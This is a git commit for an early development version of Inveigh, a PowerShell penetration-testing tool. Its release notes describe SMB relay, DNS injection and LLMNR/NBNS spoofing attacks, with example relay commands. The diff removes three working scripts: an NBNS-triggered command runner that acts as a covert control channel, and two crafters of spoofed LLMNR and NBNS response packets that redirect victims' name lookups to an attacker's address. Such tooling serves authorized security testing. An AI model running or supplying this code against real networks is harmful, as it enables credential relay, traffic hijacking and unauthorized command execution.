Inveigh 1.4 dev

This is an early version of Inveigh 1.4. There is probably alot that is
broken.

Inveigh:
1. Invoke-DNSUpdate integration - Inveigh will attempt to inject DNS
records if the same LLMNR/NBNS request is observed from multiple
systems. The goal is to find requests that could be valid in other
subnets and leverage them through DNS. This version requires that
Inveigh is running with a domain auth user context.
2. Reworked output system and formating.
3. hmm...I forget.

Inveigh Relay:
1. New attack with Invoke-TheHash integration - In addition to that
standard psexec style attack, Inveigh Relay now has the ability to
create and maintain authenticated priv and unpriv SMB2 sessions. These
sessions can be used by Invoke-SMBClient (attack file shares) and
Invoke-SMBExec.

Invoke-InveighRelay -Attack session -Target 10.10.10.10
wait for relay
Get-Inveigh -session
Invoke-SMBClient -Session 0 -Source \\10.10.10.10\share

2. Multitarget - Inveigh Relay will now accept an array of targets. As
relay attempts come in, Inveigh Relay will attempt to select the best
target (still needs work).
3. SMB signing check for targets on startup.
4. Reworked output system and formating.

I'm temporarily housing newer versions of Invoke-DNSUpdate,
Invoke-SMBClient, and Invoke-SMBExec here. They need to be imported into
the same powershell session for integration to work. There is also
probably a lot broken with these.

3 files changed, 0 insertions, 343 deletions

diff --git a/Extras/Invoke-NBNSC2.ps1 b/Extras/Invoke-NBNSC2.ps1
deleted file mode 100644
index 41d2e64..0000000
--- a/Extras/Invoke-NBNSC2.ps1
+++ /dev/null
@@ -1,151 +0,0 @@
-function Invoke-NBNSC2
-{
-<#
-.SYNOPSIS
-Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are
-received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be
-sent from a NBNS enabled system on the same subnet using ping, etc.
-
-.PARAMETER Hostnames
-A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command
-from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]).
-
-.PARAMETER Commands
-An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets.
-
-.PARAMETER ExitHostname
-Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames.
-
-.PARAMETER RunTime
-(Integer) Set the run time duration.
-
-.PARAMETER RunTimeUnit
-Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days.
-
-.EXAMPLE
-Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days
-
-.LINK
-https://github.com/Kevin-Robertson/Inveigh
-#>
-
-[CmdletBinding()]
-param
-(
-[parameter(Mandatory=$true)][Array]$Hostnames = "",
-[parameter(Mandatory=$true)][Array]$Commands = "",
-[parameter(Mandatory=$true)][String]$ExitHostname = "",
-[parameter(Mandatory=$false)][Int]$RunTime="",
-[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes",
-[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
-)
-
-if ($invalid_parameter)
-{
-    throw "$($invalid_parameter) is not a valid parameter."
-}
-
-if($Hostnames.Count -ne $Commands.Count)
-{
-    throw "Must use an equal number of Hostnames and Commands."
-}
-elseif($Hostnames -contains $ExitHostname)
-{
-    throw "ExitHostname cannot be used as in Hostnames."
-}
-
-if($RunTime)
-{   
-    if($RunTimeUnit -like 'Minutes')
-    {
-        $runtime_timeout = new-timespan -Minutes $RunTime
-    }
-    elseif($RunTimeUnit -like 'Hours')
-    {
-        $runtime_timeout = new-timespan -Hours $RunTime
-    }
-    elseif($RunTimeUnit -like 'Days')
-    {
-        $runtime_timeout = new-timespan -Days $RunTime
-    }
-
-    $runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
-}
-
-$Hostnames = $Hostnames | % {$_.ToUpper()}
-$running = $true
-$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137)
-$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
-$NBNS_UDP_client.Client.ReceiveTimeout = 10000
-$control_timeout = new-timespan -Seconds 1
-$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
-
-while($running)
-{
-    try
-    {
-        $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint)
-    }
-    catch
-    {
-        $NBNS_request_data = $null
-    }
-
-    if($NBNS_request_data)
-    {
-        $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)])
-        $NBNS_query = $NBNS_query -replace "-00",""
-        $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-        $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length)
-        $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA"))
-        $NBNS_query_string_subtracted = ""
-        $NBNS_query_string = ""
-        $n = 0
-                            
-        if($NBNS_query_string_encoded.Length -gt 1)
-        {
-            do
-            {
-                $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65)
-                $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16))
-                $n += 1
-            }
-            until($n -gt ($NBNS_query_string_encoded.Length - 1))
-                   
-            $n = 0
-                    
-            do
-            {
-                $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16)))
-                $n += 2
-            }
-            until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15)
-        }
-
-        if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout)
-        {
-            $NBNS_UDP_client.Close()
-            $command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string)
-            $NBNS_query_string = ''
-            & $Commands[$command_index]
-            $control_timeout = new-timespan -Seconds 5
-            $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
-            $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137
-            $NBNS_UDP_client.Client.ReceiveTimeout = 10000
-        }
-        elseif($ExitHostname -like $NBNS_query_string)
-        {
-            $running = $false
-        }
-    }
-
-    if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout)
-    {
-        $running = $false
-    }
-
-}
-
-$NBNS_UDP_client.Close()
-
-}
\ No newline at end of file
diff --git a/Extras/Send-LLMNRResponse.ps1 b/Extras/Send-LLMNRResponse.ps1
deleted file mode 100644
index cc22091..0000000
--- a/Extras/Send-LLMNRResponse.ps1
+++ /dev/null
@@ -1,87 +0,0 @@
-
-function Send-LLMNRResponse
-{
-<#
-.SYNOPSIS
-Send-LLMNRResponse sends a crafted LLMNR response packet to a specific target. For name resolution to be successful,
-the specified TargetIP, TargetPort, Hostname, and TransactionID must match a very (very very) recent LLMNR request.
-You must have an external method (wireshark,etc) of viewing the required LLMNR request fields for traffic on the
-target subnet. The odds of pulling this attack off manually are slim if not impossible due to the narrow response
-window. Ideally, this function would be fed by another script.
-
-.PARAMETER Hostname
-Default = WPAD: Specify a hostname for NBNS spoofing.
-
-.PARAMETER LLMNRTTL
-Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
-
-.PARAMETER SendPort
-Default = Random Available: Specify a source port for the LLMNR response. Note that the standard port is 5355
-which will cause a binding conflict if LLMNR is enabled on the host system. A random port seems to work fine.
-
-.PARAMETER SpooferIP
-Specify an IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
-other than the function host. 
-
-.PARAMETER TargetIP
-Specify an IP address to target for the LLMNR response.
-
-.PARAMETER TargetPort
-Specify an port to target for the LLMNR response. This port must match the source port included in the request.
-
-.EXAMPLE
-Send-LLMNRResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e
-
-.LINK
-https://github.com/Kevin-Robertson/Inveigh
-#>
-
-
-[CmdletBinding()]
-param
-(
-[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
-[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="",
-[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="",
-[parameter(Mandatory=$true)][String]$Hostname = "",
-[parameter(Mandatory=$true)][Int]$TargetPort="",
-[parameter(Mandatory=$false)][Int]$SendPort="0",
-[parameter(Mandatory=$false)][Int]$LLMNRTTL="30",
-[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
-)
-
-if ($invalid_parameter)
-{
-    throw "$($invalid_parameter) is not a valid parameter."
-}
-
-if(!$SpooferIP)
-{ 
-    $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
-}
-
-$hostname_bytes = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
-$LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL)
-[Array]::Reverse($LLMNR_TTL_bytes)
-$Transaction_ID_encoded = $TransactionID.Insert(2,'-')
-$Transaction_ID_bytes = $Transaction_ID_encoded.Split('-') | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-$LLMNR_response_packet = $Transaction_ID_bytes +
-                                 0x80,0x00,0x00,0x01,0x00,0x01,0x00,0x00,0x00,0x00 +
-                                 $hostname_bytes.Count +
-                                 $hostname_bytes +
-                                 0x00,0x00,0x01,0x00,0x01 +
-                                 $hostname_bytes.Count +
-                                 $hostname_bytes +
-                                 0x00,0x00,0x01,0x00,0x01 +
-                                 $LLMNR_TTL_bytes +
-                                 0x00,0x04 +
-                                 ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes()
-
-$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort)
-$destination_IP = [System.Net.IPAddress]::Parse($TargetIP)
-$destination_point = New-Object Net.IPEndpoint($destination_IP,$TargetPort)
-$send_socket.Connect($destination_point)
-$send_socket.Send($LLMNR_response_packet,$LLMNR_response_packet.Length)
-$send_socket.Close()
-}
\ No newline at end of file
diff --git a/Extras/Send-NBNSResponse.ps1 b/Extras/Send-NBNSResponse.ps1
deleted file mode 100644
index 3d5ed02..0000000
--- a/Extras/Send-NBNSResponse.ps1
+++ /dev/null
@@ -1,105 +0,0 @@
-
-function Send-NBNSResponse
-{
-<#
-.SYNOPSIS
-Send-NBNSResponse sends a crafted NBNS response packet to a specific target. For name resolution to be successful,
-the specified TargetIP, Hostname, and TransactionID must match a very (very very) recent NBNS request. You must
-have an external method (wireshark,etc) of viewing the required NBNS request fields for traffic on the target
-subnet. The odds of pulling this attack off manually are slim due to the narrow response window. I've only been
-able to get it to work manually by watching tshark with the the transaction ID being listed in the output.
-Ideally, this function would be fed by another script. 
-
-.PARAMETER Hostname
-Default = WPAD: Specify a hostname for NBNS spoofing.
-
-.PARAMETER NBNSTTL
-Default = 165 Seconds: Specify a custom NBNS TTL in seconds for the response packet.
-
-.PARAMETER SendPort
-Default = 137: Specify a source port for the NBNS response.
-
-.PARAMETER SpooferIP
-IP address for NBNS spoofing. This parameter is only necessary when redirecting victims to a system
-other than the function host. 
-
-.PARAMETER TargetIP
-IP address to target for the NBNS response.
-
-.PARAMETER TransactionID
-NBNS transaction ID that matches the transaction from the NBNS request.
-
-.EXAMPLE
-Send-NBNSResponse -Target 192.168.1.11 -Hostname test -TransactionID 9c9e
-
-.LINK
-https://github.com/Kevin-Robertson/Inveigh
-#>
-
-
-[CmdletBinding()]
-param
-(
-[parameter(Mandatory=$false)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$SpooferIP="",
-[parameter(Mandatory=$true)][ValidateScript({$_ -match [System.Net.IPAddress]$_})][String]$TargetIP="",
-[parameter(Mandatory=$true)][ValidatePattern('^[A-Fa-f0-9]{4}$')][String]$TransactionID="",
-[parameter(Mandatory=$true)][String]$Hostname = "",
-[parameter(Mandatory=$false)][Int]$SendPort="137",
-[parameter(Mandatory=$false)][Int]$NBNSTTL="165",
-[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
-)
-
-if ($invalid_parameter)
-{
-    throw "$($invalid_parameter) is not a valid parameter."
-}
-
-if(!$SpooferIP)
-{ 
-    $SpooferIP = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
-}
-
-$Hostname = $Hostname.ToUpper()
-
-$hostname_bytes = 0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,
-                  0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x43,0x41,0x41,0x41,0x00
-
-$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($Hostname)
-$hostname_encoded = [System.BitConverter]::ToString($hostname_encoded)
-$hostname_encoded = $hostname_encoded.Replace("-","")
-$hostname_encoded = [System.Text.Encoding]::UTF8.GetBytes($hostname_encoded)
-$NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL)
-[Array]::Reverse($NBNS_TTL_bytes)
-$Transaction_ID_encoded = $TransactionID.Insert(2,'-')
-$Transaction_ID_bytes = $Transaction_ID_encoded.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}
-
-for($i=0; $i -lt $hostname_encoded.Count; $i++)
-{
-
-    if($hostname_encoded[$i] -gt 64)
-    {
-        $hostname_bytes[$i] = $hostname_encoded[$i] + 10
-    }
-    else
-    {
-        $hostname_bytes[$i] = $hostname_encoded[$i] + 17
-    }
-    
-}
-
-$NBNS_response_packet = $Transaction_ID_bytes +
-                        0x85,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x20 +
-                        $hostname_bytes +
-                        0x00,0x20,0x00,0x01 +
-                        $NBNS_TTL_bytes +
-                        0x00,0x06,0x00,0x00 +
-                        ([System.Net.IPAddress][String]([System.Net.IPAddress]$SpooferIP)).GetAddressBytes() +
-                        0x00,0x00,0x00,0x00
-
-$send_socket = New-Object System.Net.Sockets.UdpClient($SendPort)
-$destination_IP = [System.Net.IPAddress]::Parse($TargetIP)
-$destination_point = New-Object Net.IPEndpoint($destination_IP,137)
-$send_socket.Connect($destination_point)
-$send_socket.Send($NBNS_response_packet,$NBNS_response_packet.Length)
-$send_socket.Close()
-}
\ No newline at end of file